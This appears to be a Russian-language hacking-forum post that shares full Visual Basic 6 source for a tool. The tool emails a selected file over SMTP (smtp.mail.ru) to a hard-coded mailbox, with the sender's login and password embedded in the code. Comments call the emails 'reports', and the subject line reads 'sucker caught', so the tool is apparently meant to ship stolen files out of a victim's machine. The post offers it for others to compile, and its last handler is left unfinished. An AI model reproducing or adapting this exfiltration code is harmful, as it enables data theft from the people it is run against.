[Alexander158]

Вот полный исходник со всем чем только можно.

Sub send_message()
Dim o_Mess As Object, v_Conf As String
Set o_Mess = CreateObject("CDO.Message")
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
With o_Mess
.To = "gi33@bk.ru" 'Кому отправить (Тут вставляем свою почту)
.From = "ibr73@bk.ru" 'От кого (здесь тоже свою, но с которой будут отправляться отчеты)
.Subject = "====== Лошок попался ======" 'Тема (Название темы)
.TextBody = "Все готово. Скачай файл и наслаждайся. Удачи." 'Текст ( Само сообщение, текст не важен)
.AddAttachment "" + Text1 + "" 'Отправка файла (Не трогаем)
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2
.Item(v_Conf & "smtpserver") = "smtp.mail.ru"
.Item(v_Conf & "smtpauthenticate") = 1
.Item(v_Conf & "sendusername") = "ibr73@bk.ru" 'От кого (своя почта от которой будет отправка)
.Item(v_Conf & "sendpassword") = "1234567890" 'Пароль от кого отправляется письмо (пароль обязателен)
.Item(v_Conf & "smtpserverport") = "2525"
.Item(v_Conf & "smtpusessl") = False
.Item(v_Conf & "smtpconnectiontimeout") = 60
.Update
End With
.send
End With
End Sub

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
Text1.Text = CD1.FileName ' Свойство FileName нужно для того чтоб узнать какой файл был выбран
End Sub

Private Sub Command2_Click()
Call send_message ' запуск отправки письма
End Sub

Private Sub Picture1_Click()

я думаю вы понимаете что можете просто кинуть этот исходник в блокнот сохранив в формате txt. а затем добавить в VB , без затруднения.